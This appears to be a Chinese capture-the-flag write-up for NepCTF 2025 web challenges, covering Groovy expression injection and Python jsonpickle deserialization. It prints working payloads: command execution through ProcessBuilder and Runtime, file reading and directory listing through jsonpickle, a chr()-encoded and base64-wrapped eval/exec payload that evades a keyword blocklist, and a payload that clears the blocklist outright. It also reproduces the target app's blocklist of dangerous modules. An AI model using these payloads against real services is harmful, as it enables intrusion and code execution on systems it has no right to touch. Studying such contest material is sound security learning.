NepNep2025
本文最后更新于 29 天前,其中的信息可能已经有所发展或是发生改变。

web

easyGooGooVVVY

描述

高松灯是一名java安全初学者,最近她在看groovy表达式注入。。。

搜文章去看了groovy表达式注入,没利用成功

可以打反射或者命令注入

def pb = new ProcessBuilder('printenv')
def proc = pb.start()
proc.waitFor()
def stream = proc.getInputStream()
def scanner = new Scanner(stream)
def content = scanner.useDelimiter('\\Z').next()
scanner.close()
content
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text

RevengeGooGooVVVY

上题的payload可以直接用

def pb = new ProcessBuilder('printenv')
def proc = pb.start()
proc.waitFor()
def stream = proc.getInputStream()
def scanner = new Scanner(stream)
def content = scanner.useDelimiter('\\Z').next()
scanner.close()
content

JavaSeri

路由带上login.jsp

看到rememberMe还是Shiro工具一把梭爆破密钥和利用链

flag在环境变量

safe_bank

正常伪造admin身份进去查看安全保险库是假flag

题目给了提示

请多关注JsonPickle的源码实现。

看关于我们

研究源码实现

先知社区有文章

强网杯题目类似

我们可以看到有这个

先构造去读取源码

{
"py/object": "app.Session",
"meta": {
  "user": {"py/object":"linecache.getlines","py/newargsex":[{"py/set":["/app/app.py"]},""]},
  "ts": 1753471621
}
}
ewogICJweS9vYmplY3QiOiAiYXBwLlNlc3Npb24iLAogICJtZXRhIjogewogICAgInVzZXIiOiB7InB5L29iamVjdCI6ImxpbmVjYWNoZS5nZXRsaW5lcyIsInB5L25ld2FyZ3NleCI6W3sicHkvc2V0IjpbIi9hcHAvYXBwLnB5Il19LCIiXX0sCiAgICAidHMiOiAxNzUzNDcxNjIxCiAgfQp9Cg==

整理一下

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
  def __init__(self, uid, pwd):
      self.uid = uid
      self.pwd = pwd

class Session:
  def __init__(self, meta):
      self.meta = meta

users_db = [
  Account("admin", os.urandom(16).hex()),
  Account("guest", "guest")
]

def register_user(username, password):
  for acc in users_db:
      if acc.uid == username:
          return False
  users_db.append(Account(username, password))
  return True

FORBIDDEN = [
  'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
  'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
  'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
  'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
  'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
  'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
  '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
  '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
  try:
      data = json.loads(serialized)
      payload = json.dumps(data, ensure_ascii=False)
      for bad in FORBIDDEN:
          if bad in payload:
              return bad
      return None
  except:
      return "error"

@app.route('/')
def root():
  return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
  if request.method == 'POST':
      username = request.form.get('username')
      password = request.form.get('password')
      confirm_password = request.form.get('confirm_password')
       
      if not username or not password or not confirm_password:
          return render_template('register.html', error="所有字段都是必填的。")
       
      if password != confirm_password:
          return render_template('register.html', error="密码不匹配。")
           
      if len(username) < 4 or len(password) < 6:
          return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")
       
      if register_user(username, password):
          return render_template('index.html', message="注册成功!请登录。")
      else:
          return render_template('register.html', error="用户名已存在。")
   
  return render_template('register.html')

@app.post('/auth')
def auth():
  u = request.form.get("u")
  p = request.form.get("p")
  for acc in users_db:
      if acc.uid == u and acc.pwd == p:
          sess_data = Session({'user': u, 'ts': int(time.time())})
          token_raw = jsonpickle.encode(sess_data)
          b64_token = base64.b64encode(token_raw.encode()).decode()
          resp = make_response("登录成功。")
          resp.set_cookie("authz", b64_token)
          resp.status_code = 302
          resp.headers['Location'] = '/panel'
          return resp
  return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
  token = request.cookies.get("authz")
  if not token:
      return redirect(url_for('root', error="缺少Token。"))
   
  try:
      decoded = base64.b64decode(token.encode()).decode()
  except:
      return render_template('error.html', error="Token格式错误。")
   
  ban = waf(decoded)
  if waf(decoded):
      return render_template('error.html', error=f"请不要黑客攻击!{ban}")
   
  try:
      sess_obj = jsonpickle.decode(decoded, safe=True)
      meta = sess_obj.meta
       
      if meta.get("user") != "admin":
          return render_template('user_panel.html', username=meta.get('user'))
       
      return render_template('admin_panel.html')
  except Exception as e:
      return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
  token = request.cookies.get("authz")
  if not token:
      return redirect(url_for('root'))

  try:
      decoded = base64.b64decode(token.encode()).decode()
      if waf(decoded):
          return render_template('error.html', error="请不要尝试黑客攻击!")
      sess_obj = jsonpickle.decode(decoded, safe=True)
      meta = sess_obj.meta
       
      if meta.get("user") != "admin":
          return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
           
      flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
           
      return render_template('vault.html', flag=flag)
  except:
      return redirect(url_for('root'))

@app.route('/about')
def about():
  return render_template('about.html')

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000, debug=False)

再利用glob去列一下目录

{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1753446254}}

可以看到/readflag

我们需要RCE去读,但是黑名单过滤的太多了

看到强网S8决赛的文章最后新型绕过进行RCE的payload

{"py/object":"builtins.bytes", "py/newargs":{"py/object": "builtins.map", "py/newargs" : [{"py/function": "builtins.exec"}, ["print(123)"]]}}

可以看出是利用map去调用内置的函数去实现RCE

map中的函数触发是需要被类用才能触发,比如bytes,list类接受迭代器参数初始化的时候

我们来构造一下。将flag外带

但是builtins被waf了,我们需要进行修改,注意题目的黑名单是过滤的关键字,所以我们这里可以用__builtins__去绕过,然后命令可以选择利用编码绕过或者利用chr函数

{"py/object": "app.Session", "meta": {"user": {"py/object": "__builtin__.bytes", "py/newargs": {"py/object": "__builtin__.map", "py/newargs": [{"py/function": "__builtin__.eval"}, ["exec(import os;os.system('/readflag>/app/sun.txt'))"]]}}, "ts": 1753971621}}
{"py/object": "app.Session", "meta": {"user": {"py/object": "__builtin__.bytes", "py/newargs": {"py/object": "__builtin__.map", "py/newargs": [{"py/function": "__builtin__.eval"}, ["exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(111)+chr(115)+chr(59)+chr(111)+chr(115)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(47)+chr(114)+chr(101)+chr(97)+chr(100)+chr(102)+chr(108)+chr(97)+chr(103)+chr(62)+chr(47)+chr(97)+chr(112)+chr(112)+chr(47)+chr(115)+chr(117)+chr(110)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41))"]]}}, "ts": 1753971621}}
eyJweS9vYmplY3QiOiAiYXBwLlNlc3Npb24iLCAibWV0YSI6IHsidXNlciI6IHsicHkvb2JqZWN0IjogIl9fYnVpbHRpbl9fLmJ5dGVzIiwgInB5L25ld2FyZ3MiOiB7InB5L29iamVjdCI6ICJfX2J1aWx0aW5fXy5tYXAiLCAicHkvbmV3YXJncyI6IFt7InB5L2Z1bmN0aW9uIjogIl9fYnVpbHRpbl9fLmV2YWwifSwgWyJleGVjKGNocigxMDUpK2NocigxMDkpK2NocigxMTIpK2NocigxMTEpK2NocigxMTQpK2NocigxMTYpK2NocigzMikrY2hyKDExMSkrY2hyKDExNSkrY2hyKDU5KStjaHIoMTExKStjaHIoMTE1KStjaHIoNDYpK2NocigxMTUpK2NocigxMjEpK2NocigxMTUpK2NocigxMTYpK2NocigxMDEpK2NocigxMDkpK2Nocig0MCkrY2hyKDM5KStjaHIoNDcpK2NocigxMTQpK2NocigxMDEpK2Nocig5NykrY2hyKDEwMCkrY2hyKDEwMikrY2hyKDEwOCkrY2hyKDk3KStjaHIoMTAzKStjaHIoNjIpK2Nocig0NykrY2hyKDk3KStjaHIoMTEyKStjaHIoMTEyKStjaHIoNDcpK2NocigxMTUpK2NocigxMTcpK2NocigxMTApK2Nocig0NikrY2hyKDExNikrY2hyKDEyMCkrY2hyKDExNikrY2hyKDM5KStjaHIoNDEpKSJdXX19LCAidHMiOiAxNzUzOTcxNjIxfX0=

这样flag就写入到sun.txt了,我们再用原来的payload去读,得到flag

{
"py/object": "app.Session",
"meta": {
  "user": {"py/object":"linecache.getlines","py/newargsex":[{"py/set":["/app/sun.txt"]},""]},
  "ts": 1753471621
}
}

看了其他师傅的wp,发现还可以利用list.clean去扬黑名单

list.clear() 方法会移除列表中的所有元素,使其变为空列表。这是清空列表最清晰和最有效的方法

my_list = [1, 2, 3, 4, 5]
my_list.clear()
print(my_list)
# 输出: []

也就是说可以让FORBIDDEN赋值为空

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}

这样利用黑名单就没了,接下来我们就可以大胆去操作了

碎碎念

这题出的确实很好啊,我也学到了很多,准备开个文章好好研究jsonpickle这种审计源码去找理由的题目真的很值得去探索

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇